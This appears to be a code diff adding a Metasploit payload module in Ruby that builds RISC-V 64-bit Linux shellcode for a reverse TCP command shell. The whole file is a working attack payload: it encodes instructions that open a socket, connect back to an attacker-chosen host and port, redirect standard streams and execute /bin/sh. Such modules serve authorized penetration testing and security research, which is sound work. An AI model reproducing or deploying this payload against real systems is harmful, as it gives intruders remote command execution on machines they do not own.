|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +module MetasploitModule |
| 7 | + CachedSize = 160 |
| 8 | + |
| 9 | + include Msf::Payload::Single |
| 10 | + include Msf::Payload::Linux |
| 11 | + include Msf::Sessions::CommandShellOptions |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + merge_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Linux Command Shell, Reverse TCP Inline', |
| 18 | + 'Description' => 'Connect back to attacker and spawn a command shell.', |
| 19 | + 'Author' => [ |
| 20 | + 'modexp', # connect.s RISC-V 64-bit shellcode |
| 21 | + 'bcoles', # metasploit |
| 22 | + ], |
| 23 | + 'License' => BSD_LICENSE, |
| 24 | + 'Platform' => 'linux', |
| 25 | + 'Arch' => [ ARCH_RISCV64LE ], |
| 26 | + 'References' => [ |
| 27 | + ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'], |
| 28 | + ['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'], |
| 29 | + ], |
| 30 | + 'Handler' => Msf::Handler::ReverseTcp, |
| 31 | + 'Session' => Msf::Sessions::CommandShellUnix |
| 32 | + ) |
| 33 | + ) |
| 34 | + end |
| 35 | + |
| 36 | + # Encode a RISC-V ADDI (Add Immediate) instruction |
| 37 | + def encode_addi(rd, rs1, imm12) |
| 38 | + opcode = 0b0010011 |
| 39 | + funct3 = 0b000 |
| 40 | + imm = imm12 & 0xfff |
| 41 | + (imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode |
| 42 | + end |
| 43 | + |
| 44 | + # Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction |
| 45 | + def encode_slli(rd, rs1, shamt) |
| 46 | + opcode = 0b0010011 |
| 47 | + funct3 = 0b001 |
| 48 | + funct6 = 0b000000 |
| 49 | + ((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) | |
| 50 | + (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode |
| 51 | + end |
| 52 | + |
| 53 | + # Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register |
| 54 | + def load_const_into_reg(const, register) |
| 55 | + raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer) |
| 56 | + |
| 57 | + max_const = (1 << 64) - 1 |
| 58 | + |
| 59 | + raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const) |
| 60 | + |
| 61 | + digits = [] |
| 62 | + tmp = const |
| 63 | + |
| 64 | + while tmp > 0 |
| 65 | + d = tmp & 0xfff |
| 66 | + tmp >>= 12 |
| 67 | + if d > 2047 |
| 68 | + d -= 4096 |
| 69 | + tmp += 1 |
| 70 | + end |
| 71 | + digits << d |
| 72 | + end |
| 73 | + |
| 74 | + digits = [0] if digits.empty? |
| 75 | + |
| 76 | + words = [encode_addi(register, 0, digits.pop & 0xfff)] |
| 77 | + digits.reverse_each do |digit| |
| 78 | + words << encode_slli(register, register, 12) |
| 79 | + words << encode_addi(register, register, digit & 0xfff) |
| 80 | + end |
| 81 | + |
| 82 | + words |
| 83 | + end |
| 84 | + |
| 85 | + def generate(_opts = {}) |
| 86 | + lhost = datastore['LHOST'] || '127.127.127.127' |
| 87 | + lport = datastore['LPORT'].to_i |
| 88 | + |
| 89 | + raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost) |
| 90 | + |
| 91 | + encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V') |
| 92 | + encoded_port = [lport].pack('n').unpack1('v') |
| 93 | + encoded_sockaddr = (encoded_host << 32) | (encoded_port << 16) | 2 |
| 94 | + |
| 95 | + a1 = 11 |
| 96 | + shellcode = [ |
| 97 | + 0xff010113, # addi sp,sp,-16 |
| 98 | + |
| 99 | + # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); |
| 100 | + 0x0c600893, # li a7,198 # SYS_socket |
| 101 | + 0x00000613, # li a2,0 # IPPROTO_IP |
| 102 | + 0x00100593, # li a1,1 # SOCK_STREAM |
| 103 | + 0x00200513, # li a0,2 # AF_INET |
| 104 | + 0x00000073, # ecall |
| 105 | + |
| 106 | + # connect(s, &sa, sizeof(sa)); |
| 107 | + 0x00050693, # mv a3,a0 # a3 = s |
| 108 | + 0x0cb00893, # li a7,203 # SYS_connect |
| 109 | + 0x01000613, # li a2,16 |
| 110 | + *load_const_into_reg(encoded_sockaddr, a1), |
| 111 | + 0x00b13023, # sd a1,0(sp) |
| 112 | + 0x00010593, # mv a1,sp # a1 = &sa |
| 113 | + 0x00000073, # ecall |
| 114 | + |
| 115 | + 0x01800893, # li a7,24 # SYS_dup3 |
| 116 | + 0x00300593, # li a1,3 # STDERR_FILENO + 1 |
| 117 | + |
| 118 | + # c_dup: |
| 119 | + 0x00000613, # li a2,0 |
| 120 | + 0x00068513, # mv a0,a3 |
| 121 | + 0xfff58593, # addi a1,a1,-1 |
| 122 | + 0x00000073, # ecall |
| 123 | + 0xfe0598e3, # bnez a1,100c8 <c_dup> |
| 124 | + |
| 125 | + # execve("/bin/sh", NULL, NULL); |
| 126 | + 0x0dd00893, # li a7,221 |
| 127 | + 0x34399537, # lui a0,0x34399 |
| 128 | + 0x7b75051b, # addiw a0,a0,1975 |
| 129 | + 0x00c51513, # slli a0,a0,0xc |
| 130 | + 0x34b50513, # addi a0,a0,843 # 3439934b <__global_pointer$+0x34387a47> |
| 131 | + 0x00d51513, # slli a0,a0,0xd |
| 132 | + 0x22f50513, # addi a0,a0,559 |
| 133 | + 0x00a13023, # sd a0,0(sp) |
| 134 | + 0x00010513, # mv a0,sp |
| 135 | + 0x00000073 # ecall |
| 136 | + ].pack('V*') |
| 137 | + |
| 138 | + # align our shellcode to 4 bytes |
| 139 | + shellcode += "\x00" while shellcode.bytesize % 4 != 0 |
| 140 | + |
| 141 | + super.to_s + shellcode |
| 142 | + end |
| 143 | +end |
0 commit comments